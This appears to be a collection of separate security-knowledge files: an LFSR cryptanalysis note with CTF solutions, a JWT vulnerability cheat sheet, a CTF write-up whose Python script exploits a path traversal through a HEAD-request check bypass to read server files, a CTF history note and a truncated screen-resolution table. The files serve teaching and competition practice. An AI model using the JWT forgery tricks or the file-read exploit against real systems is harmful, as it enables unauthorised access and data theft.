将两个序列累加得到新的序列的周期为这两个序列的周期的和。 - 序列是 n 级 m 序列,当且仅当序列的极小多项式是 n 次本原多项式。 ## B-M 算法 一般来说,我们可以从两种角度来考虑 LFSR - 密钥生成角度,一般我们希望使用级数尽可能低的 LFSR 来生成周期大,随机性好的序列。 - 密码分析角度,给定一个长度为 n 的序列 a,如何构造一个级数尽可能小的 LFSR 来生成它。其实这就是 B-M 算法的来源。 一般来说,我们定义一个序列的线性复杂度如下 - 若 s 为一个全零序列,则线性复杂度为0。 - 若没有 LFSR 能生成 s,则线性复杂度为无穷。 - 否则,s 的线性复杂度为生成 L(s) 的最小级的 LFSR。 BM 算法的要求我们需要知道长度为 2n 的序列。其复杂度 - 时间复杂度:O(n^2) 次比特操作 - 空间复杂度:O(n) 比特。 关于 BM 算法的细节,后续添加,目前处于学习过程中。 但是其实如果我们知道了长度为 2n 的序列,我们也可以一种比较笨的方法来获取原先的序列。不妨假设已知的序列为$a_1,...,a_{2n}$,我们可以令 $S_1=(a_1,...,a_n)$ $S_2=(a_2,...,a_{n+1})$ .... $S_{n+1}=(a_{n+1},...,a_{2n})$ 那么我们可以构造矩阵 $X=(S_1,...,S_n)$,那么 $S_{n+1}=(c_n,...,c_1)X$ 所以 $(c_n,...,c_1)=S_{n+1}X^{-1}$ 进而我们也就知道了 LFSR 的反馈表达式,进而我们就可以推出初始化种子。 ## 2018 强网杯 streamgame1 简单看一下题目 ```python from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask = 0b1010011000100011100 f=open("key","ab") for i in range(12): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out f.write(chr(tmp)) f.close() ``` 可以发现,flag 的长度为25-5-1=19,所以可以暴力枚举。结果 ```shell ➜ 2018-强网杯-streamgame1 git:(master) ✗ python exp.py 12 0b1110101100001101011 ``` 因此 flag 为 flag{1110101100001101011}。 ## 2018 CISCN 初赛 oldstreamgame 简单看一下题目 ```shell flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b10100100000010000000100010010100 f=open("key","w") for i in range(100): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out f.write(chr(tmp)) f.close() ``` 程序很简单,仍然是一个 LFSR,但是初态是 32 比特位,当然,我们也可以选择爆破,但是这里不选择爆破。 这里给出两种做法。 第一种做法,程序输出的第 32 个比特是由程序输出的前 31 个比特和初始种子的第 1 个比特来决定的,因此我们可以知道初始种子的第一个比特,进而可以知道初始种子的第 2 个比特,依次类推。代码如下 ```python mask = 0b10100100000010000000100010010100 b = '' N = 32 with open('key', 'rb') as f: b = f.read() key = '' for i in range(N / 8): t = ord(b[i]) for j in xrange(7, -1, -1): key += str(t >> j & 1) idx = 0 ans = "" key = key[31] + key[:32] while idx < 32: tmp = 0 for i in range(32): if mask >> i & 1: tmp ^= int(key[31 - i]) ans = str(tmp) + ans idx += 1 key = key[31] + str(tmp) + key[1:31] num = int(ans, 2) print hex(num) ``` 运行 ```shell ➜ 2018-CISCN-start-oldstreamgame git:(master) ✗ python exp1.py 0x926201d7 ``` 第二种做法,我们可以考虑一下矩阵转换的过程,如果进行了 32 次线性变换,那么就可以得到输出流前 32 个比特。而其实,我们只需要前 32 个比特就可以恢复初始状态了。 ```python mask = 0b10100100000010000000100010010100 N = 32 F = GF(2) b = '' with open('key', 'rb') as f: b = f.read() R = [vector(F, N) for i in range(N)] for i in range(N): R[i][N - 1] = mask >> (31 - i) & 1 for i in range(N - 1): R[i + 1][i] = 1 M = Matrix(F, R) M = M ^ N vec = vector(F, N) row = 0 for i in range(N / 8): t = ord(b[i]) for j in xrange(7, -1, -1): vec[row] = t >> j & 1 row += 1 print rank(M) num = int(''.join(map(str, list(M.solve_left(vec)))), 2) print hex(num) ``` 运行脚本 ```shell ➜ 2018-CISCN-start-oldstreamgame git:(master) ✗ sage exp.sage 32 0x926201d7 ``` 从而 flag 为 flag{926201d7}。 还有一种做法是 TokyoWesterns 的,可以参考对应的文件夹的文件。 ## 题目 ## 参考文献 - 密码学讲义,李超,屈龙江编著
sec-knowleage
# JWT Vulnerabilities ## Introduction JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. ## How to exploit 1. Modify the algorithm to "none" algorithm ``` { "alg": "none", "typ": "JWT" } ``` 2. Modify the algorithm RS256 to HS256 If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. 3. Bruteforce HS256 the HS256 key strength is weak, it can be directly brute-forced, such as using the secret string as a key in the PyJWT library sample code. ## Tools * [jwt-hack](https://github.com/hahwul/jwt-hack) ## Reference - [Hacking JSON Web Token (JWT)](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
sec-knowleage
# Journey: Chapter II (web/re, 384+31 pts, 5 solves) The source of `admin.html` suggests that we are after an `admin-tool` binary: ```html <div style="margin-top: 20px"> Don't forget to practice remembering your Security Key PIN code with the ./admin-tool tool! </div> ``` An arbitrary file read would be nice. One endpoint is interesting in this regard: ```javascript app.get('/share', async function (req, res) { if (!req.session.username) res.send({ err: 'not logged in' }) const favList = favDb.get(req.session.username) if (!favList || favList.length === 0) res.send({ err: 'favorites list is empty' }) const result = {} for (const favPath of favList) { const [type, name] = path.relative(CONTENT_DB_PATH, favPath).split(path.sep) result[type] = result[type] || {} result[type][name.replace(".txt", "")] = fs.readFileSync(`${CONTENT_DB_PATH}/${type}/${name}`, "latin1") } const favId = crypto.randomBytes(8).toString("hex") await db.put(`fav_${favId}`, result) favDb.set(req.session.username, []) res.send({ favId }) }) ``` Note that, even though the database stores paths, the endpoint deconstructs the path manually, and then assembles it back together. Let's take a closer look at how the paths get inserted into the database. ```javascript app.get('/favorite', async function (req, res) { if (!req.session.username) res.send({ err: 'not logged in' }) const { type, name, unfav } = req.query if (type !== "book" && type !== "quote") res.send({ err: 'invalid type' }) if (name.includes("/") || name.includes("..")) res.send({ err: 'invalid name' }) const itemPath = `${CONTENT_DB_PATH}/${type}/${name}.txt` if (!fs.existsSync(itemPath)) res.send({ err: 'not found' }) const favs = favDb.get(req.session.username) || [] if (unfav) favs = favs.filter(x => x !== itemPath) else favs.push(itemPath) favDb.set(req.session.username, favs) res.send({ success: true }) }) ``` Damn, path traversal is detected and rejected. Except... does `res.send` end the execution of the function? A quick local test says no, so the checks are merely a red herring! So let's send a request with `name` set to `../../admin-tool/x`! One `..` to exit the `quote` directory, and another to escape `db`. `path.relative` will remove the `quote/../` part, and subsequent code will trim the path to the first 2 components: `../admin-tool`. This avoids the `.txt` extension. Except... it doesn't work: `{"err":"favorites list is empty"}`. A bit more local testing suggests that `res.send` can only be called once, and subsequent calls will raise an exception, complaining that "the headers can only be sent once". This means that, while we may bypass the `name` check, `existsSync` will still prevent us from injecting the path. We brainstormed abusing various weird filesystem behaviors, as `path.relative` does not access the filesystem and thus doesn't know about symbolic links such as `/proc/self/cwd`. This seems to have been a dead end. At this point, I decided to dive into the code of `express` to look for a way of bypassing the exception, and soon stumbled upon a hint: ```javascript if (req.method === 'HEAD') { // skip body for HEAD this.end(); } else { // respond this.end(chunk, encoding); } ``` It turns out that sending a HEAD request will allow us to bypass the check, though the snippet above doesn't seem to be directly responsible for it. This lets us fetch the `admin-tool` binary: ```python from requests import Session from uuid import uuid4 s = Session() rando = str(uuid4()) print(s.post("http://journey.ctf.spamandhex.com/register", json={"password": rando, "username": rando}).content) print(s.post("http://journey.ctf.spamandhex.com/login", json={"password": rando, "username": rando}).content) data = { "type": "quote", "name": "../../admin-tool/x", } print(s.head('http://journey.ctf.spamandhex.com/favorite', params=data).content) fav = s.get("http://journey.ctf.spamandhex.com/share").json()['favId'] print(fav) data = (s.get('http://journey.ctf.spamandhex.com/favorites?type=..&favId=' + fav).json()) open('admin-tool', 'wb').write(data['admin-tool'].encode('latin1')) ``` A few minutes in the disassembler show that 1. The binary attempts to detect the debugger with PTRACE_TRACEME 2. Our input is encrypted with RC4 or a derivative, and ciphertexts are compared. The key is fixed. I have first attempted to use a Python implementation of RC4, but the decryption failed. I have decided that it would be more productive to extract the keystream from the running program with gdb. ``` (gdb) b ptrace Breakpoint 1 at 0x4005c0 (gdb) r Starting program: /home/kuba/spamandhex/admin-tool Journey: PIN Recovery Tool "All journeys have secret destinations of which the traveler is unaware." - Martin Buber PIN recovery: I will tell if you still know the correct PIN or not, so you won't forget it even if you don't use it regularly. That's a great way of recovery I think! Breakpoint 1, 0x00007ffff7eff210 in ptrace () from /gnu/store/1y7g7kj3zxg2p90g692wybqh9b6gv7q2-glibc-2.31/lib/libc.so.6 (gdb) fin Run till exit from #0 0x00007ffff7eff210 in ptrace () from /gnu/store/1y7g7kj3zxg2p90g692wybqh9b6gv7q2-glibc-2.31/lib/libc.so.6 0x0000000000400976 in ?? () (gdb) x/10i $rip => 0x400976: cmp $0xffffffffffffffff,%rax 0x40097a: jne 0x40098f 0x40097c: lea 0x1e5(%rip),%rdi # 0x400b68 0x400983: callq 0x400570 <puts@plt> 0x400988: mov $0x1,%eax 0x40098d: jmp 0x400994 0x40098f: mov $0x0,%eax 0x400994: pop %rbp 0x400995: retq 0x400996: push %rbp (gdb) p $rax $1 = -1 (gdb) set $rax=0 (gdb) b *0x400a62 Breakpoint 2 at 0x400a62 (gdb) c Continuing. What's your PIN? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 2, 0x0000000000400a62 in ?? () (gdb) x/32xb 0x602160 0x602160: 0x65 0xbe 0xb8 0x98 0x7b 0x9e 0xf7 0xf9 0x602168: 0x07 0xf6 0x07 0x75 0xa9 0x94 0x44 0x62 0x602170: 0xfc 0x9e 0x47 0x41 0x9d 0x8d 0xa4 0x0f 0x602178: 0x13 0x86 0x17 0x3b 0x3f 0x82 0x82 0x69 (gdb) dump memory stream.bin 0x602160 0x602200 ``` ```python binary = open('admin-tool', 'rb').read() stream = open('stream.bin', 'rb').read() cipher = binary[0x20c0:] cipher = cipher[:0x70] out = bytearray() for b,k in zip(cipher, stream): out.append(b^k^65) print(out) # bytearray(b'SaF{It is good to have an end to journey toward; but it is the journey that matters, in the end.-2xzB4tW3}\x80G\x12\xf8{a') ``` **Post-CTF addendum:** While preparing this write-up, I have provided too few `A` characters in the input, which resulted in the flag decryption stopping too early. No problem&mdash;I thought&mdash;I'll just do it again. ``` (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y ``` To my surprise, this resulted in a completely different keystream. I soon realized that this must be because the breakpoint is already there when the program is starting. After all, breakpoints are implemented by overwriting an opcode with `int3`. The culprit is an entry in the `.init_array` section: ![Binary Ninja screenshot because copy-paste is wonky](init_array.png) I noticed this function during the CTF, but the code looked like decompiled `/dev/urandom` at a glance, and [the XREF panel was empty](https://github.com/Vector35/binaryninja-cloud-public/issues/123), so I concluded that it's probably a false positive. However, further analysis reveals that it checksums most of the code section and derives an address from the checksum, which is then patched with a `xor`. ![](init_array_graph.png) Checking with gdb, we see that the address being patched is `0x400902`. This corresponds to an `add` instruction in the RC4 code, which this xor turns into a `sub`. The following change in the decoding script makes it decrypt the flag properly without the dumped keystream: ```diff - K = S[(S[i] + S[j]) % 256] + K = S[(S[j] - S[i]) % 256] yield K ``` I'm quite surprised, and to be honest, somewhat disappointed, that I didn't get to experience this mischief during the CTF.
sec-knowleage
# CTF 历史 > 本栏内容摘自诸葛建伟老师在 i 春秋上的公开视频「The Past, Present and Future of CTF」。 ## CTF 的起源 CTF 的前身是传统黑客之间的网络技术比拼游戏,起源于 1996 年第四届 DEFCON。 ## 早期 CTF 竞赛 第一个 CTF 比赛(1996 年-2001年),没有明确的比赛规则,没有专业搭建的比赛平台与环境。由参赛队伍各自准备比赛目标(自行准备与防守比赛目标,并要尝试攻破对方的比赛目标)。而组织者大都只是一些非专业的志愿者,接受参赛队伍手工计分的请求。 没有后台自动系统支持和裁判技术能力认定,计分延迟和误差以及不可靠的网络和不当的配置,导致比赛带来了极大的争论与不满。 ## 「现代」CTF 竞赛 由专业队伍承担比赛平台、命题、赛事组织以及自动化积分系统。参赛队伍需提交参赛申请,由 DEFCON 会议组织者们进行评选。 就 LegitBS 组织的三年 DEFCON CTF 比赛而言,有以下突出特点: - 比赛侧重于对计算机底层和系统安全的核心能力,Web 漏洞攻防技巧完全被忽略。 - 竞赛环境趋向多 CPU 指令架构集,多操作系统,多编程语言。 - 采用「零和」计分规则。 - 团队综合能力考验:逆向分析、漏洞挖掘、漏洞利用、漏洞修补加固、网络流量分析、系统安全运行维护以及安全方面的编程调试。
sec-knowleage
--- title: Resolutions date: 2020-12-27 17:21:54 tags: - design - screen - size categories: - Other intro: | This cheat sheet lists screen sizes, viewport size and CSS media queries for popular Phones, Tablets, Laptops and Watches --- Getting Started {.cols-2} --------------- ### Introduction - Resolution is the number of pixels (individual points of color) - Viewport is defined by the size of the rectangle filled by a web page on your screen - Screen resolution refers to the clarity of the text and images displayed on your screen - For design {.marker-round} ### Multi-format of Resolutions - [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/resolutions#TableGenerator) - [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/resolutions#TableGenerator) - [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/resolutions#TableGenerator) - [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/resolutions#TableGenerator) - [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/resolutions#TableGenerator) - [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/resolutions#TableGenerator) - [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/resolutions#TableGenerator) - [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/resolutions#TableGenerator) - [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/resolutions#TableGenerator) - [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/resolutions#TableGenerator) - [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/resolutions#TableGenerator) - [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/resolutions#TableGenerator) - [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/resolutions#TableGenerator) - [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/resolutions#TableGenerator) - [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/resolutions#TableGenerator) - [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/resolutions#TableGenerator) - [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/resolutions#TableGenerator) - [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/resolutions#TableGenerator) - [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/resolutions#TableGenerator) - [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/resolutions#TableGenerator) - [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/resolutions#TableGenerator) - [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/resolutions#TableGenerator) - [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/resolutions#TableGenerator) {.cols-4 .marker-none} Lists of Resolutions {.cols-1} ------------------- ### Mobile Phones | DEVICES | SCREEN SIZE | RESOLUTION | VIEWPORT | DENSITY | DEVICE DENSITY | RATIO | OS | |------------------------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|-------------------------|---------------| | Apple iPhone 11 (2019) | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 | | Apple iPhone 11 Pro (2019) | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 | | Apple iPhone 11 Pro Max (2019) | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 | | Apple iPhone 12 (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 | | Apple iPhone 12 Pro (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 | | Apple iPhone 12 Pro Max (2020) | 6.7 <sub>inch</sub> | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 | | Apple iPhone 12 mini (2020) | 5.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 | | Apple iPhone 5 | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 6 | | Apple iPhone 5c | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 | | Apple iPhone 5s | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 | | Apple iPhone 6 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8 | | Apple iPhone 6s | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 | | Apple iPhone 6s Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 9 | | Apple iPhone 7 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.0.1 | | Apple iPhone 7 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 10.0.1 | | Apple iPhone 8 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 | | Apple iPhone 8 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11 | | Apple iPhone SE | 4.0 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 9.3.2 | | Apple iPhone SE (2020) | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 | | Apple iPhone X | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11.1.1 | | Apple iPhone XR | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 12 | | Apple iPhone XS | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 | | Apple iPhone XS Max | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 | | Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1 | | Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub> | Android 7.1 | | Google Pixel 2 | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0 | | Google Pixel 2 XL | 6.0 <sub>inch</sub> | 1440 x 2880 <sub>px</sub> | | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 8.0 | | Google Pixel 3 (2018) | 5.5 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 | | Google Pixel 3 XL (2018) | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub> | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 | | Google Pixel 3a (2019) | 5.6 <sub>inch</sub> | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub> | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 | | Google Pixel 3a XL (2019) | 6 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | Google Pixel 4 (2019) | 5.7 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub> | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 | | Google Pixel 4 XL (2019) | 6.3 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10 | | Google Pixel 4a (2020) | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 | | Google Pixel 5 (2020) | 6 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 11.0 | | Google Pixel XL | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1 | | HTC Desire 10 Lifestyle | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0 | | HTC Desire 628 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 5.1 | | Honor 6X (2016) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 6.0 | | Honor 7X (2017) | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 | | Honor 8X (2018) | 6.5 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 | | Honor 9X (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 | | Huawei Mate 10 Lite (2017) | 5.9 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 | | Huawei Mate 20 Lite (2018) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 | | Huawei Mate 20 Pro (2018) | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub> | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 | | Huawei Mate 30 (2019) | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 | | Huawei Mate 30 Pro (2019) | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 | | Huawei Nova 7i (2020) | 6.4 <sub>inch</sub> | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub> | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 | | Huawei Y9 Prime (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 | | Huawei Y9s (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 | | LG G5 | 5.3 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0.1 | | Motorola Moto E5 Plus | 6.0 <sub>inch</sub> | 720 x 1440 <sub>px</sub> | | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 8.0 | | OnePlus 6 | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1 | | OnePlus 6T | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | OnePlus 7 | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | OnePlus 7 Pro | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub> | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 | | OnePlus 7T (2019) | 6.55 <sub>inch</sub> | 1080 x 2400 